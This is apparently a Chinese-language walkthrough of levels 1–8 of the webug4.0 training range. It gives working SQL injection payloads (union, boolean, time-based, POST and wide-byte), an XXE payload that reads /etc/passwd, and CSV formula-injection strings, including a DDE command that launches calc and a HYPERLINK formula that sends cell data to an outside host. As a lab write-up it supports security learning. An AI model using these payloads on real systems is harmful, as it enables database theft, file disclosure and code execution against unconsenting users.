webug4.0(注入1-8)
1、顯錯注入
shot
0、查找閉合方式
數字型:?id=1
正常
單引號: ?id=1'
報錯,
雙引號: ?id=1”
正常
括號: ?id=1)
正常
綜上,可知閉合方式為單引號閉合。單引號報錯如下:
1、查詢數據庫
?id=1' union select 1,group_concat(schema_name) from information_schema.schemata %23
前三個是mysql自帶的,我們只需要注意后面的幾個就可以了。
2、確認當前的數據庫。
?id=1' union select 1,database() %23
注:schema()也只能查當前使用的數據庫。
3、查表:查詢當前使用數據庫下的表
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug'%23
我們可以看見flag表,這是不是我們需要的表呢?瞅瞅
4、查表中的字段:查詢flag表中出現的字段。
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='webug' and table_name='flag'%23
flag表中顯示的字段:
5、確認表中內容:對應字段的值。
id字段的值:
id=1' union select 1,group_concat(id) from flag%23
flag字段的值:
?id=1' union select 1,group_concat(flag) from flag%23
可知flag表的結構為:
id | flag |
---|---|
1 | dfafdasfafdsadfa |
輸入flag,成功。
2、布爾注入
shot
0、查看閉合方式,類似於第一關,但是這里並不是輸出錯誤語句,僅僅是不正常顯示罷了。(即有些文字沒有顯示出來)如下:
不正常顯示:
正常顯示:
1、闖關方法:頁面是否正常顯示去判斷語句是否正確。那語句是什么,該怎么構造呢?
例如判斷數據庫名稱的長度我們可以使用語句:
1' and length(database())>=1 %23
,將1不斷地增加,直到發生報錯,從而確定數據庫的長度。后期數據庫的字母構成也是如此。
具體步驟參考如下:
1’ and length(database())>=1–+ //判斷數據庫的長度
1’ and substr(database(),1,1)=‘t’ --+ //判斷數據庫第一個字母的值
1’ and substr(database(),2,1)=‘q’ --+ //判斷數據庫的第二個字母的值
1’ and ord(substr(database(),1,1))=115–+ //利用ord和ASCII判斷數據庫庫名
1’ and substr(database(),2,1)=’q’–+ //利用substr判斷數據庫的庫名
1’ and substr(select table_name from information_schema.table wheretable_schema=‘sql’ limit 0,1),1,1)=‘e’ --+ //利用substr判斷數據庫的表名
來自於:https://www.cnblogs.com/wxj1711652908/p/12381523.html
3、延時注入
0、判斷閉合
數字型:
?id=1 and sleep(1)%23
頁面、響應時間都正常
單引號:
?id=1' and sleep(1)%23
頁面不正常顯示,響應時間過長
括號:
?id=1) and sleep(1)%23
頁面、響應時間都正常
雙引號:
?id=1) and sleep(1)%23
頁面、響應時間都正常
1、闖關方法:類似於第二關,頁面是否正常顯示,或者頁面響應時間是否正常去判斷語句是否正確。那語句是什么,該怎么構造呢?
例如判斷數據庫名稱的長度我們可以使用語句:
?id=1' and sleep(if(length(database())>1, 0, 3))
將1不斷地增加,直到發生頁面響應時間過長,從而確定數據庫的長度。后期數據庫的字母構成也是如此。
if(條件,true,false) :條件為真時返回true值,否則返回false的值。 sleep():等待一定時間后執行SQL語句,單位為秒, length(str):返回字符串長度 mid(str,start,length):截取字符串,從1開始,0及超過部分返回null。 ord(str):返回字符串第一個字符的ASCII值。
4、POST注入
0、判斷閉合方式
搜索111、222、gram均無反應
搜索右括號) 無反應
雙引號” 無反應
單引號 ‘ 報錯
1、可見閉合方式為單引號閉合。但是無論我們搜索什么都不會顯示結果。因此嘗試一下之前的方法,
order by 和 union 不可行,因為不會顯示結果; 布爾注入 不可行,因為頁面不會發生改變; 延時注入 可行,通過對頁面的請求響應時間判斷sleep語句是否執行了。由於這里是post請求,所以#不必轉換成%23。
2、闖關攻略:類似於上一關延時注入,但是后面可能略有變化。
' and sleep(3) # 秒開 ' and sleep(300) # 秒開
百度:可能是由於sql語句后面是where content=' ' ,所以可能查詢條件一條語句都沒有查詢到。如果是這樣的話,我們就需要將and變為or。 果真: ' or sleep(3) # 請求了7秒才會顯示。。。
注入點找到了,那么后期的話注入語句便類似於第三關延時注入。
5、過濾注入
0、閉合方式
過程類似於第四關,判斷后可以知道閉合方式為單引號。
1、注入點:
' and sleep(3) # 秒開 ' or sleep(3) # 響應時間過長,OK注入點找到了,后面的參考前面的傳觀過程吧。
6、寬字節注入
參考鏈接:https://www.cnblogs.com/yuuki-aptx/p/10548307.html
0、判斷注入點
數字型:?id=1 正常 單引號: ?id=1' 正常 雙引號: ?id=1” 正常 括號: ?id=1) 正常 寬字節:?id=1%df ' 報錯,報錯顯示如下: ?id=2%df ' %23 正常顯示
1、闖關方法類似於第一關:
判斷字段數:如下,可以知道字段數為2
?id=2%df' order by 2%23 # 正常顯示 ?id=2%df' order by 3%23 # 報錯
- 1、查找數據庫:
?id=2%df' union select 1,database()%23
- 2、查找所有數據庫:
?id=1%df' union select 1,group_concat(schema_name) from information_schema.schemata %23
- 3、查找表名
最開始按照之前的方法where table_schema= 'webug'
發現會產生報錯。
?id=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' %23
報錯信息如下,我們可以發現單引號被過濾了,即他可能過濾了單引號。所以我們
?id=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567 %23
- 4、查找字段名:env_list表中的字段
?id=1%df' union select 1,group_concat(column_name ) from information_schema.columns where table_name=0x656e765f6c697374 %23
- 5、查找flag
?id=1%df' union select 1,envFlag from webug.env_list where id=6 %23
flag為:dfsadfsadfas
7、xxe注入
-
什么是xxe漏洞?
XML外部實體注入(XML External Entity)簡稱XXE漏洞,XML用於標記電子文件使其具體結構性的標記語言,可以用來標記數據,定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言,XML文檔結構包括XML聲明,DTD文檔類型定義,文檔元素。 -
xxe語法結構
<?xml version="1.0"?>XML聲明 <!DOCTYPE note [ <!ELEMENT note(to,from,heading,body)> <!ELEMENT to(#PCDATA)> <!ELEMENT from(#PCDATA)> 文檔定義類型(DATA) <!ELEMENT heading(#PCDATA)> <!ELEMENT body(#PCDATA)> ]> <note> <to>tove</to> <from>jani</from> <heading>reminder</heading> <body>don't forget me this weekend</body> 文檔元素 </note>
- xxe語法結構
其中.文檔類型定義(DTD)可以是內部聲明也可以引用外部DTD,如下所示
內部聲明DTD格式:
引用外部DTD格式:
在DTD中進行實體聲明時,將使用ENTITY關鍵詞來聲明,實體是用於定義引用普通文本或特殊字符的快捷方式的變量,實體可在內部或外部進行聲明,如下所示
內部聲明實體格式:<!ENTITY 實體名稱 "實體的值">
引用外部實體格式:<!ENTITY 實體名稱 SYSTEMT "URL">
來自於:什么是xxe漏洞?
1、隨便輸入一些東西,可以發現會有回顯,而且回顯沒有啥子變化。(好的,我開始看不懂了。。。。)
2、利用burp抓包,可以發現是post請求。
3、按照網上的思路構造一個xmL,然后查看回顯。
來自於:https://blog.csdn.net/nex1less/article/details/100009134
<?xml version="1.0"?> <helo> <batch id="test"> <title>I love XML</title> <test>XML is the best!</test> </batch> </helo>
4、查看源碼,觀看payload。
在線URL解碼,結果如下:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY content SYSTEM "file:///d:/1.txt"> ]> <note> <name>&content;</name> </note>
5、由於靶場原來的配置和我的不相同,所以在file:///d:/1.txt
時,輸入的路徑會不相同。因此,我們可以自建一個1.txt,然后內容為:flag=ddfasdfsafsadfsd
。
自建文件參考鏈接:xxe注入:https://blog.csdn.net/nex1less/article/details/100009134
額,我懶,,所以直接文件包含一個我電腦中存在的文件,例如:/etc/passwd
。payload如下:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <test> <wsw>&xxe;</wsw> </test>
8、csv注入
參考鏈接:webug4.0-csv注入:https://blog.csdn.net/nex1less/article/details/100009157
- 1、什么是csv注入?
CSV公式注入(CSV Injection)是一種會造成巨大影響的攻擊向量。攻擊包含向惡意的EXCEL公式中注入可以輸出或以CSV文件讀取的參數。當在Excel中打開CSV文件時,文件會從CSV描述轉變為原始的Excel格式,包括Excel提供的所有動態功能。在這個過程中,CSV中的所有Excel公式都會執行。當該函數有合法意圖時,很易被濫用並允許惡意代碼執行。
來自於:https://www.freebuf.com/vuls/195656.html
- 2.cvs注入的原理時是什么?
當輸入一個公式,會被Excel自動運算並執行。而當你輸入一個別的Excel本身不存在的功能時,Excel就會被微軟的另一種機制:DDE機制調用。
例如:執行cmd彈出計算器。現在還是會有彈框的,但不知道為什么我的計算器就是
=cmd|' /C calc'!A0
=HYPERLINK("http://linux.im?test="&A2&A3,"Error: Please click me!")
- 3.什么是DDE?
DDE是一種動態數據交換機制(Dynamic Data Exchange,DDE)。使用DDE通訊需要兩個Windows應用程序,其中一個作為服務器處理信息,另外一個作為客戶機從服務器獲得信息。客戶機應用程序向當前所激活的服務器應用程序發送一條消息請求信息,服務器應用程序根據該信息作出應答,從而實現兩個程序之間的數據交換。詳細請點擊